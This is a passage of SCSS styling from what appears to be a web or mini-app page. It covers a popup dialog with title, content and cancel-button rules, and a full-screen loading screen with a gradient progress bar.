		min-height: 201px;
		padding: 7px 15px;
		box-sizing: border-box;
		background: url(/static/img/chain-pup.png) no-repeat;
		background-size: 100%;
		margin-top: -119px;

		.close-img {
			position: absolute !important;
			width: 37px;
			height: 37px;
			right: -7px;
			top: 12px;
		}

		.title {
			color: #fef9e2;
			font-weight: 700;
			font-size: 17px;
			text-align: center;
		}

		.contents {
			width: 100%;
			padding-top: 15px;
			height: 106px;
			overflow: auto;

			.text {
				color: #666;
				font-size: 15px;
				font-weight: 700;
				margin-top: 12px;
			}
		}

		.cancel-btn {
			width: 93px;
			height: 41px;
			line-height: 32px;
			background: url(/static/img/chain-cancel-btn.png) no-repeat;
			background-size: 100%;
			color: #fff;
			font-size: 15px;
			margin: 0 8px;
		}
	}
}

.pages-loading {
	width: 100%;
	margin: 0 auto;
	height: 100vh;
	background: url(/static/img/loading-bg.png) no-repeat;
	background-size: 100% auto;
	padding-top: 46px;
	top: 0;
	box-sizing: border-box;
	text-align: center;
	position: fixed;
	z-index: 9999999;

	.logo-img {
		width: 202px;
		height: 97px;
		text-align: center;
		margin: 0 auto;
	}

	.step-wraps {
		width: 100%;
		position: absolute;
		bottom: 10%;
		left: 0;
		padding: 0 31px;
		box-sizing: border-box;

		.schedule-kuang {
			width: 322px;
			height: 41px;
			box-sizing: border-box;
			background: url(/static/img/load-bar.png) no-repeat;
			background-size: 100% 100%;
			position: relative;

			.schedule {
				position: absolute;
				left: 11px;
				top: 6px;
				width: 0%;
				height: 19px;
				padding-right: 3px;
				box-sizing: border-box;
				line-height: 19px;
				background: linear-gradient(0deg, #ff7901, #fff449);
				box-shadow: 0 0.5px 2px 0 #612200;
				border-radius: 11px;
				transition: width 0.1s ease;
			}

			.schedule-text {
				padding-top: 7px;
				font-size: 12px;
				color: #fff;
				position: relative;
				z-index: 10;
			}

			.liang-icon {
				position: absolute;
				width: 10px;
				height: 9px;
				left: 16px;
				top: 7px;
			}
		}
	}
}
</style>
